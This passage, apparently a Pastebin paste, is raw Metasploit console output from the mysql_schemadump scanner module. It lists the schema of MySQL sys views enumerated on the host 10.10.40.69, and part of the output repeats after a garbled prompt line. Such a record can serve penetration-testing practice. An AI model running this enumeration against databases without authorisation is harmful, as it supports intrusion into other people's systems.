  2531.     - ColumnName: rows_sent
  2532.       ColumnType: bigint(20) unsigned
  2533.     - ColumnName: rows_examined
  2534.       ColumnType: bigint(20) unsigned
  2535.     - ColumnName: rows_sent_avg
  2536.       ColumnType: decimal(21,0) unsigned
  2537.     - ColumnName: rows_examined_avg
  2538.       ColumnType: decimal(21,0) unsigned
  2539.     - ColumnName: first_seen
  2540.       ColumnType: timestamp
  2541.     - ColumnName: last_seen
  2542.       ColumnType: timestamp
  2543.     - ColumnName: digest
  2544.       ColumnType: varchar(32)
  2545.   - TableName: x$statements_with_runtimes_in_95th_percentile
  2546.     Columns:
  2547.     - ColumnName: query
  2548.       ColumnType: longtext
  2549.     - ColumnName: db
  2550.       ColumnType: varchar(64)
  2551.     - ColumnName: full_scan
  2552.       ColumnType: varchar(1)
  2553.     - ColumnName: exec_count
  2554.       ColumnType: bigint(20) unsigned
  2555.     - ColumnName: err_count
  2556.       ColumnType: bigint(20) unsigned
  2557.     - ColumnName: warn_count
  2558.       ColumnType: bigint(20) unsigned
  2559.     - ColumnName: total_latency
  2560.       ColumnType: bigint(20) unsigned
  2561.     - ColumnName: max_latency
  2562.       ColumnType: bigint(20) unsigned
  2563.     - ColumnName: avg_latency
  2564.       ColumnType: bigint(20) unsigned
  2565.     - ColumnName: rows_sent
  2566.       ColumnType: bigint(20) unsigned
  2567.     - ColumnName: rows_sent_avg
  2568.       ColumnType: decimal(21,0)
  2569.     - ColumnName: rows_examined
  2570.       ColumnType: bigint(20) unsigned
  2571.     - ColumnName: rows_examined_avg
  2572.       ColumnType: decimal(21,0)
  2573.     - ColumnName: first_seen
  2574.       ColumnType: timestamp
  2575.     - ColumnName: last_seen
  2576.       ColumnType: timestamp
  2577.     - ColumnName: digest
  2578.       ColumnType: varchar(32)
  2579.   - TableName: x$statements_with_sorting
  2580.     Columns:
  2581.     - ColumnName: query
  2582.       ColumnType: longtext
  2583.     - ColumnName: db
  2584.       ColumnType: varchar(64)
  2585.     - ColumnName: exec_count
  2586.       ColumnType: bigint(20) unsigned
  2587.     - ColumnName: total_latency
  2588.       ColumnType: bigint(20) unsigned
  2589.     - ColumnName: sort_merge_passes
  2590.       ColumnType: bigint(20) unsigned
  2591.     - ColumnName: avg_sort_merges
  2592.       ColumnType: decimal(21,0)
  2593.     - ColumnName: sorts_using_scans
  2594.       ColumnType: bigint(20) unsigned
  2595.     - ColumnName: sort_using_range
  2596.       ColumnType: bigint(20) unsigned
  2597.     - ColumnName: rows_sorted
  2598.       ColumnType: bigint(20) unsigned
  2599.     - ColumnName: avg_rows_sorted
  2600.       ColumnType: decimal(21,0)
  2601.     - ColumnName: first_seen
  2602.       ColumnType: timestamp
  2603.     - ColumnName: last_seen
  2604.       ColumnType: timestamp
  2605.     - ColumnName: digest
  2606.       ColumnType: varchar(32)
  2607.   - TableName: x$statements_with_temp_tables
  2608.     Columns:
  2609.     - ColumnName: query
  2610.       ColumnType: longtext
  2611.     - ColumnName: db
  2612.       ColumnType: varchar(64)
  2613.     - ColumnName: exec_count
  2614.       ColumnType: bigint(20) unsigned
  2615.     - ColumnName: total_latency
  2616.       ColumnType: bigint(20) unsigned
  2617.     - ColumnName: memory_tmp_tables
  2618.       ColumnType: bigint(20) unsigned
  2619.     - ColumnName: disk_tmp_tables
  2620.       ColumnType: bigint(20) unsigned
  2621.     - ColumnName: avg_tmp_tables_per_query
  2622.       ColumnType: decimal(21,0)
  2623.     - ColumnName: tmp_tables_to_disk_pct
  2624.       ColumnType: decimal(24,0)
  2625.     - ColumnName: first_seen
  2626.       ColumnType: timestamp
  2627.     - ColumnName: last_seen
  2628.       ColumnType: timestamp
  2629.     - ColumnName: digest
  2630.       ColumnType: varchar(32)
  2631.   - TableName: x$user_summary
  2632.     Columns:
  2633.     - ColumnName: user
  2634.       ColumnType: varchar(32)
  2635.     - ColumnName: statements
  2636.       ColumnType: decimal(64,0)
  2637.     - ColumnName: statement_latency
  2638.       ColumnType: decimal(64,0)
  2639.     - ColumnName: statement_avg_latency
  2640.       ColumnType: decimal(65,4)
  2641.     - ColumnName: table_scans
  2642.       ColumnType: decimal(65,0)
  2643.     - ColumnName: file_ios
  2644.       ColumnType: decimal(64,0)
  2645.     - ColumnName: file_io_latency
  2646.       ColumnType: decimal(64,0)
  2647.     - ColumnName: current_connections
  2648.       ColumnType: decimal(41,0)
  2649.     - ColumnName: total_connections
  2650.       ColumnType: decimal(41,0)
  2651.     - ColumnName: unique_hosts
  2652.       ColumnType: bigint(21)
  2653.     - ColumnName: current_memory
  2654.       ColumnType: decimal(63,0)
  2655.     - ColumnName: total_memory_allocated
  2656.       ColumnType: decimal(64,0)
  2657.   - TableName: x$user_summary_by_file_io
  2658.     Columns:
  2659.     - ColumnName: user
  2660.       ColumnType: varchar(32)
  2661.     - ColumnName: ios
  2662.       ColumnType: decimal(42,0)
  2663.     - ColumnName: io_latency
  2664.       ColumnType: decimal(42,0)
  2665.   - TableName: x$user_summary_by_file_io_type
  2666.     Columns:
  2667.     - ColumnName: user
  2668.       ColumnType: varchar(32)
  2669.     - ColumnName: event_name
  2670.       ColumnType: varchar(128)
  2671.     - ColumnName: total
  2672.       ColumnType: bigint(20) unsigned
  2673.     - ColumnName: latency
  2674.       ColumnType: bigint(20) unsigned
  2675.     - ColumnName: max_latency
  2676.       ColumnType: bigint(20) unsigned
  2677.   - TableName: x$user_summary_by_stages
  2678.     Columns:
  2679.     - ColumnName: user
  2680.       ColumnType: varchar(32)
  2681.     - ColumnName: event_name
  2682.       ColumnType: varchar(128)
  2683.     - ColumnName: total
  2684.       ColumnType: bigint(20) unsigned
  2685.     - ColumnName: total_latency
  2686.       ColumnType: bigint(20) unsigned
  2687.     - ColumnName: avg_latency
  2688.       ColumnType: bigint(20) unsigned
  2689.   - TableName: x$user_summary_by_statement_latency
  2690.     Columns:
  2691.     - ColumnName: user
  2692.       ColumnType: varchar(32)
  2693.     - ColumnName: total
  2694.       ColumnType: decimal(42,0)
  2695.     - ColumnName: total_latency
  2696.       ColumnType: decimal(42,0)
  2697.     - ColumnName: max_latency
  2698.       ColumnType: decimal(42,0)
  2699.     - ColumnName: lock_latency
  2700.       ColumnType: decimal(42,0)
  2701.     - ColumnName: rows_sent
  2702.       ColumnType: decimal(42,0)
  2703.     - ColumnName: rows_examined
  2704.       ColumnType: decimal(42,0)
  2705.     - ColumnName: rows_affected
  2706.       ColumnType: decimal(42,0)
  2707.     - ColumnName: full_scans
  2708.       ColumnType: decimal(43,0)
  2709.   - TableName: x$user_summary_by_statement_type
  2710.     Columns:
  2711.     - ColumnName: user
  2712.       ColumnType: varchar(32)
  2713.     - ColumnName: statement
  2714.       ColumnType: varchar(128)
  2715.     - ColumnName: total
  2716.       ColumnType: bigint(20) unsigned
  2717.     - ColumnName: total_latency
  2718.       ColumnType: bigint(20) unsigned
  2719.     - ColumnName: max_latency
  2720.       ColumnType: bigint(20) unsigned
  2721.     - ColumnName: lock_latency
  2722.       ColumnType: bigint(20) unsigned
  2723.     - ColumnName: rows_sent
  2724.       ColumnType: bigint(20) unsigned
  2725.     - ColumnName: rows_examined
  2726.       ColumnType: bigint(20) unsigned
  2727.     - ColumnName: rows_affected
  2728.       ColumnType: bigint(20) unsigned
  2729.     - ColumnName: full_scans
  2730.       ColumnType: bigint(21) unsigned
  2731.   - TableName: x$wait_classes_global_by_avg_latency
  2732.     Columns:
  2733.     - ColumnName: event_class
  2734.       ColumnType: varchar(128)
  2735.     - ColumnName: total
  2736.       ColumnType: decimal(42,0)
  2737.     - ColumnName: total_latency
  2738.       ColumnType: decimal(42,0)
  2739.     - ColumnName: min_latency
  2740.       ColumnType: bigint(20) unsigned
  2741.     - ColumnName: avg_latency
  2742.       ColumnType: decimal(46,4)
  2743.     - ColumnName: max_latency
  2744.       ColumnType: bigint(20) unsigned
  2745.   - TableName: x$wait_classes_global_by_latency
  2746.     Columns:
  2747.     - ColumnName: event_class
  2748.       ColumnType: varchar(128)
  2749.     - ColumnName: total
  2750.       ColumnType: decimal(42,0)
  2751.     - ColumnName: total_latency
  2752.       ColumnType: decimal(42,0)
  2753.     - ColumnName: min_latency
  2754.       ColumnType: bigint(20) unsigned
  2755.     - ColumnName: avg_latency
  2756.       ColumnType: decimal(46,4)
  2757.     - ColumnName: max_latency
  2758.       ColumnType: bigint(20) unsigned
  2759.   - TableName: x$waits_by_host_by_latency
  2760.     Columns:
  2761.     - ColumnName: host
  2762.       ColumnType: varchar(60)
  2763.     - ColumnName: event
  2764.       ColumnType: varchar(128)
  2765.     - ColumnName: total
  2766.       ColumnType: bigint(20) unsigned
  2767.     - ColumnName: total_latency
  2768.       ColumnType: bigint(20) unsigned
  2769.     - ColumnName: avg_latency
  2770.       ColumnType: bigint(20) unsigned
  2771.     - ColumnName: max_latency
  2772.       ColumnType: bigint(20) unsigned
  2773.   - TableName: x$waits_by_user_by_latency
  2774.     Columns:
  2775.     - ColumnName: user
  2776.       ColumnType: varchar(32)
  2777.     - ColumnName: event
  2778.       ColumnType: varchar(128)
  2779.     - ColumnName: total
  2780.       ColumnType: bigint(20) unsigned
  2781.     - ColumnName: total_latency
  2782.       ColumnType: bigint(20) unsigned
  2783.     - ColumnName: avg_latency
  2784.       ColumnType: bigint(20) unsigned
  2785.     - ColumnName: max_latency
  2786.       ColumnType: bigint(20) unsigned
  2787.   - TableName: x$waits_global_by_latency
  2788.     Columns:
  2789.     - ColumnName: events
  2790.       ColumnType: varchar(128)
  2791.     - ColumnName: total
  2792.       ColumnType: bigint(20) unsigned
  2793.     - ColumnName: total_latency
  2794.       ColumnType: bigint(20) unsigned
  2795.     - ColumnName: avg_latency
  2796.       ColumnType: bigint(20) unsigned
  2797.     - ColumnName: max_latency
  2798.       ColumnType: bigint(20) unsigned
  2799.  
  2800. [*] 10.10.40.69:3306      - Scanned 1 of 1 hosts (100% complete)
  2801. [*] Auxiliary module execution completed
  2802. msf6 auxiliary(scanner/mysql/mysql_schemadump) > nName: event
  2803.       ColumnType: varchar(128)
  2804.     - ColumnName: total
  2805.       ColumnType: bigint(20) unsigned
  2806.     - ColumnName: total_latency
  2807.       ColumnType: bigint(20) unsigned
  2808.     - ColumnName: avg_latency
  2809.       ColumnType: bigint(20) unsigned
  2810.     - ColumnName: max_latency
  2811.       ColumnType: bigint(20) unsigned
  2812.   - TableName: x$waits_by_user_by_latency
  2813.     Columns:
  2814.     - ColumnName: user
  2815.       ColumnType: varchar(32)
  2816.     - ColumnName: event
  2817.       ColumnType: varchar(128)
  2818.     - ColumnName: total
  2819.       ColumnType: bigint(20) unsigned
  2820.     - ColumnName: total_latency
  2821.       ColumnType: bigint(20) unsigned
  2822.     - ColumnName: avg_latency
  2823.       ColumnType: bigint(20) unsigned
  2824.     - ColumnName: max_latency
  2825.       ColumnType: bigint(20) unsigned
  2826.   - TableName: x$waits_global_by_latency
  2827.     Columns:
  2828.     - ColumnName: events
  2829.       ColumnType: varchar(128)
  2830.     - ColumnName: total
  2831.       ColumnType: bigint(20) unsigned
  2832.     - ColumnName: total_latency
  2833.       ColumnType: bigint(20) unsigned
  2834.     - ColumnName: avg_latency
  2835.       ColumnType: bigint(20) unsigned
  2836.     - ColumnName: max_latency
  2837.       ColumnType: bigint(20) unsigned
  2838.  
  2839. [*] 10.10.40.69:3306      - Scanned 1 of 1 hosts (100% complete)
  2840. [*] Auxiliary module execution completed
  2841. msf6 auxiliary(scanner/mysql/mysql_schemadump) >
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!